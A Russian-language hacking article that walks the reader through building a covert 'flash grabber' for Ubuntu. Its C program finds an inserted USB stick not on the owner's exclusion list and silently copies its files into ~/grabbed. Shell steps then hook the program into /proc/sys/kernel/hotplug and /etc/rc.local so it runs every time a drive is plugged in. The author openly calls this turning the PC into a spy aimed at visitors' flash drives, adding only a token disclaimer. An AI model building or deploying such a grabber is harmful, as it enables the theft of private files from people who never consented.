Сегодня мы будем делать из пингвина Тукса пылесос, только вместо пыли у нас будет информация, а именно - файлы с flash-накопителей, в народе просто флешек. Для чего тебе это надо я не знаю (если что - я предупредил, см. начало статьи), я же заинтересовался этой темой после прочтения статьи Криса Касперски Предательский антивирус: грабим данные с flash-модулей и CD/DVD . В этой статье Крис описывает создание программы-граббера для Windows, маскирующегося под антивирус и под видом проверки носителя утягивающего данные с флешки. Мы сделаем тоже самое, но во-первых, для Линукса, а во-вторых, не будем скрываться под оберткой антивируса (хотя я, конечно, всего лишь даю идею, дальнейшее ее развитие зависит от читателя). Нам понядобятся: рабочая Linux (я использую Ubuntu 8.10, в других дистрибутивах какие-то моменты могут отличаться), компилятор gcc, руки (желательно прямые ) и желание. Хочу сразу сказать, что мы не будем лезть в исходники системы, изменять стандартную утилиту mount или бить приятеля, пришедшего к тебе с флешкой, коробкой с диском Linux, чтобы отобрать носитель. Итак, сначала теория. Аналогом технологии Plug’n'Play Windows’а в Linux является hotplug. Hotplug это набор скриптов, которые запускаются при подключении устройств к компьютеру. Нам эта штукенция интересна, прежде всего, из-за наличия скрипта /proc/sys/kernel/hotplug, который запускается при подключении любого устройства. Мы будем использовать его для запуска нашего скрипта, который будет запускать граббер. К чему такие сложности? Дело в том, что скрипты из /proc/sys/kernel/hotplug исполняются сразу после подключения флешки, однако системе требуется некоторое время чтобы подмонтировать диск, поэтому из нашего скрипта граббер будет запускаться с небольшой задержкой. Но как узнать, что была подключена именно флешка? Для этого мы будем использовать утилиту hwinfo. Она выдает полную информацию о всем железе, а при указании опций - только о конкретном наборе девайсов Если мне не изменяет память, в стандартном комплекте Ubuntu этой утилиты нет, поэтому сначала надо ее поставить: $ sudo apt-get install hwinfo После изучения man узнаем, что за выдачу информации о дисках отвечает ключ –disk. Посмотрим на на вывод: Code: $ hwinfo –disk 31: SCSI 600.0: 10600 Disk [Created at block.234] UDI: /org/freedesktop/Hal/devices/storage_serial_Kingston_DataTraveler_2_0_5B7908865370_0_0 Unique ID: oE0T.7GV9h6c3JI0 Parent ID: 5YuN.JONY1UuwJT1 SysFS ID: /class/block/sdb SysFS BusID: 6:0:0:0 SysFS Device Link: /devices/pci0000:00/0000:00:1d.7/usb7/7-6/7-6:1.0/host6/target6:0:0/6:0:0:0 Hardware Class: disk Model: “Kingston DataTraveler 2.0″ Vendor: usb 0×13fe “Kingston” Device: usb 0×1d00 “DataTraveler 2.0″ Revision: “PMAP” Serial ID: “5B7908865370″ Driver: “usb-storage”, “sd” Driver Modules: “usb_storage” Device File: /dev/sdb (/dev/sg2) Device Files: /dev/sdb, /dev/disk/by-id/usb-Kingston_DataTraveler_2.0_5B7908865370-0:0, /dev/disk/by-path/pci-0000:00:1d.7-usb-0:6:1.0-scsi-0:0:0:0, /dev/block/8:16 Device Number: block 8:16-8:31 (char 21:2) Features: Hotpluggable Speed: 480 Mbps Module Alias: “usb:v13FEp1D00d0100dc00dsc00dp00ic08isc06ip50″ Driver Info #0: Driver Status: libusual is active Driver Activation Cmd: “modprobe libusual” Drive status: no medium Config Status: cfg=new, avail=yes, need=no, active=unknown Attached to: #15 (USB Controller) 32: IDE 200.0: 10600 Disk [Created at block.234] UDI: /org/freedesktop/Hal/devices/storage_serial_1ATA_ST9250827AS_5RG0QCKD Unique ID: 3OOL.3bL9KT8oPs8 Parent ID: w7Y8.VU5GOIy1ynA SysFS ID: /class/block/sda SysFS BusID: 2:0:0:0 SysFS Device Link: /devices/pci0000:00/0000:00:1f.2/host2/target2:0:0/2:0:0:0 Hardware Class: disk Model: “ST9250827AS” Device: “ST9250827AS” Revision: “3.AA” Driver: “ahci”, “sd” Driver Modules: “ahci” Device File: /dev/sda Device Files: /dev/sda, /dev/disk/by-id/scsi-1ATA_ST9250827AS_5RG0QCKD, /dev/disk/by-id/ata-ST9250827AS_5RG0QCKD, /dev/disk/by-path/pci-0000:00:1f.2-scsi-0:0:0:0, /dev/block/8:0 Device Number: block 8:0-8:15 Drive status: no medium Config Status: cfg=new, avail=yes, need=no, active=unknown Attached to: #11 (SATA controller) Ясно видно, что в системе присутствуют два диска: флешка и SATA жесткий диск. Внимательнее присмотревшись, замечаем, что мы можем однозначно определить тип диска (”usb_storage”) и файл устройства (/dev/sdb). Итак, флешку мы нашли. Осталось скопировать информацию. Можно, конечно, чиать прямо из файла устройства, но мы поступим проще. Воспользуемся тем, что в десктопных Linux вообще и в Ubuntu в частности флешки автоматически монтируются при подключении. Значит во время запуска граббера в каталоге /media/ будет существовать каталог флешки. Чтобы определить его имя, воспользуемся утилитой mount, которая при запуске без параметров выдает список смонтированных файловых систем: Code: $ mount /dev/sda6 on / type ext3 (rw,relatime,errors=remount-ro) tmpfs on /lib/init/rw type tmpfs (rw,nosuid,mode=0755) /proc on /proc type proc (rw,noexec,nosuid,nodev) sysfs on /sys type sysfs (rw,noexec,nosuid,nodev) varrun on /var/run type tmpfs (rw,nosuid,mode=0755) varlock on /var/lock type tmpfs (rw,noexec,nosuid,nodev,mode=1777) udev on /dev type tmpfs (rw,mode=0755) tmpfs on /dev/shm type tmpfs (rw,nosuid,nodev) devpts on /dev/pts type devpts (rw,noexec,nosuid,gid=5,mode=620) fusectl on /sys/fs/fuse/connections type fusectl (rw) lrm on /lib/modules/2.6.27-9-generic/volatile type tmpfs (rw,mode=755) /dev/sda5 on /media/DATA type fuseblk (rw,nosuid,nodev,allow_other,default_permissions,blksize=4096) securityfs on /sys/kernel/security type securityfs (rw) gvfs-fuse-daemon on /home/painkiller/.gvfs type fuse.gvfs-fuse-daemon (rw,nosuid,nodev,user=painkiller) /dev/scd0 on /media/cdrom0 type udf (ro,nosuid,nodev,utf8,user=painkiller) /dev/sdb1 on /media/KINGSTON type vfat (rw,nosuid,nodev,uhelper=hal,shortname=mixed,uid=1000,utf8,umask=077,flush) Нас интересует последняя строчка, из которой мы видим, что флешка смонтирована в каталог /media/KINGSTON. То, что это именно флешка, мы видим по названию файла устройства /dev/sdb1. Вывод hwinfo –disk Все, сбор информации завершен, займемся реализацией. Непосредственно копирование мы будем производить командой cp. Скопированные файлы будем класть в папку ~/grabbed. Также реализуем возможность задавать исключения, чтобы граббер не копировал файлы с твоей собственной флешки. Для этого вернемся к выводу команды hwinfo –disk, а именно к строчке: Code: Unique ID: oE0T.7GV9h6c3JI0 Это, как видно, уникальный номер устройства. Вот его и будем использовать для различия «своих» и «чужих». Итак, вот код: Code: #include <stdio.h> #include <string.h> #include <stdlib.h> #include <unistd.h> #define UNIQ_ID_STR “Unique ID: ” #define DRIVER_MODULES_STR “Driver Modules: \”usb_storage\”" #define DEVICE_FILE_STR “Device File: ” #define TMP_FILE_NAME “fgtmp” #define EXCLUSIONS_FILENAME “exclusions” //load exclusions char *load_excl(char *path) { FILE *f; char *out; char buff[11]; char *filename = malloc(strlen(path) + strlen(EXCLUSIONS_FILENAME) + 1); strcpy(filename, path); strcat(filename, EXCLUSIONS_FILENAME); out = NULL; f = fopen(filename, “r”); if (!f) return NULL; while (!feof(f)) { memset(buff, ‘\0′, sizeof(buff)); fgets(buff, 10, f); out = (char *) realloc(out, ((out == NULL) ? 0: strlen(out)) + strlen(buff)); strcat(out, buff); strcat(out, “\0″); } fclose(f); return out; } //cut path from full file name char *getfilepath(char *filename) { char *fn = strdup(filename); int i = strlen(fn)-1; for (; i >= 0; i–) { if (fn[i] == ‘/’) { fn[i+1] = ‘\0′; break; } } return fn; } int main(int argc, char** argv) { FILE *f; char buff[255], *exclusions, *p, devicefilename[255], finalepath[255]; int exclude = 0, savedevfile = 0; p = getfilepath(argv[0]); exclusions = load_excl(p); free(p); p = NULL; sprintf(buff, “hwinfo –disk > %s”, TMP_FILE_NAME); system(buff); f = fopen(TMP_FILE_NAME, “r”); if (!f) { printf(”Error while opening file”); return -1; } while (!feof(f)) { memset(buff, ‘\0′, sizeof(buff)); fgets(buff, 254, f); if (((p = strstr(buff, UNIQ_ID_STR)) != NULL) && strstr(exclusions, (p+strlen(UNIQ_ID_STR)))) { exclude = 1; continue; } if (!savedevfile) savedevfile = ((strstr(buff, DRIVER_MODULES_STR) != NULL) && !exclude); if (((p = strstr(buff, DEVICE_FILE_STR)) != NULL) && savedevfile) { sscanf(p + strlen(DEVICE_FILE_STR), “%s”, devicefilename); break; } } fclose(f); free(exclusions); sprintf(buff, “mount > %s”, TMP_FILE_NAME); system(buff); f = fopen(TMP_FILE_NAME, “r”); if (!f) { printf(”Error while opening file”); return -1; } while (!feof(f)) { memset(buff, ‘\0′, sizeof(buff)); fgets(buff, 254, f); if ((p = strstr(buff, devicefilename)) != NULL) { sscanf(p + strlen(devicefilename) + 5,”%s”, finalepath); strcat(finalepath, “/”); break; } } fclose(f); unlink(TMP_FILE_NAME); if (strcmp(finalepath, “”)) { sprintf(buff,”mkdir ~/grabbed/ && cp %s* ~/grabbed/”, finalepath); system(buff); } return 0; } Удобный редактор - Geany. Теперь поясню некоторые моменты. Функция load_excl читает из файла список исключений, собирая путь к нему из параметра и жестко заданного имени. Файл исключений представляет собой обычный текстовый файл, в котором на каждой строчке написан один Unique ID, т.е. в результате мы получаем указатель на строку со списком исключений, разделенных символом переноса строки. Назначение функции getfilepath понятно из названия. Функцция main начинается (не считая объявления переменных) с получения пути к исполняемому файлу программы и чтения списка исключений (предполагается, что файл исключений лежит в одной папке с исполняемым файлом). Далее мы запускаем hwinfo –disk и перенаправляем ее вывод во временный файл. Затем начинаем потрошить этот файл: читаем строку и проверяем, что мы прочитали - строку с уникальным номером, имя драйвера (напомню, что по нему мы определяем тип устройства) или строку с именем файла устройства. После всего этого в буфере devicefilename будет записано имя файла устройства. Далее проделываем все те же манипуляции, но для вывода команды mount, дабы получить точку монтирования флешки. После чего выполняем команду копирования: Code: sprintf(buff,”mkdir ~/grabbed/ && cp %s* ~/grabbed/”, finalepath); system(buff); Теперь осталось скомпилоровать программу: gcc -Wall -o flashgrabber flashgrabber.c и, вставив флешку с какими-нибудь файлами, запустить. Заработало? Хорошо. Не заработало? Ищи опечатки в коде. Однако ручной запуск нас не устраивает, поэтому возвращаемся к ранее составленному плану. Сначала напишем скрипт, который после небольшой паузы будет запускать граббер: Code: $ sudo nano /usr/sbin/fg.sh [sudo] password for painkiller: #!/bin/bash sleep 10 ~/flashgrabber_src/flashgrabber Естественно, сохраняем файл: CTRL+O, ENTER и выходим: CTRL+X. Теперь делаем из обычного файла скрипт : $ sudo chmod +x /usr/sbin/fg.sh Теперь сообщаем системе, что этот скрипт необходимо запускать каждый раз, когда к компьютеру подключается устройство: Code: $ sudo nano /proc/sys/kernel/hotplug [sudo] password for painkiller: /usr/sbin/fg.sh Сохраняем, выходим. Все, осталось лишь проверить работу: вставляем флешку еще раз и ищем в домашнем каталоге папку grubbed. Однако существует небольшая проблема. Дело в том, что Ubuntu любит очищать файл /proc/sys/kernel/hotplug при запуске системы, то есть мы должны обновлять запись в файле при каждой загрузке. Сделать это можно так: Code: $ sudo nano /usr/sbin/refreshhp.sh [sudo] password for painkiller: #!/bin/bash echo «/usr/sbin/fg.sh» > /proc/sys/kernel/hotplug CTRL-O ENTER CTRL-X $ sudo chmod +x /usr/sbin/refreshhp.sh $ sudo nano /etc/rc.local В файле /etc/rc.local могут быть вызовы других скриптов. Вызов нашего скрипта можно вставить в любое место файла до строки exit 0 (т.к. скрипт лежит в папке /usr/sbin/, полный путь можно не писать): Code: … refreshhp.sh … exit 0 Таким вот нехитрым образом мы превратили домашнего пингвина в шпиона. Конечно, можно придумать и мирное применение нашей задумке - например, синхронизация файлов при каждом подключении личной флешки, но дальнейшее развитие технологии целиком зависит от читателя - я всего лишь указал путь. А что будет в конце этого пути - решать тебе . Для начала хочу предупредить, что копирование чужой информации без ведома владельца это по сути воровство, поэтому эту статью не следует рассматривать как руководство к действию. Если обещаешь не хулиганить - читай дальше . PainKiller [email protected] Источник: SASecurity portal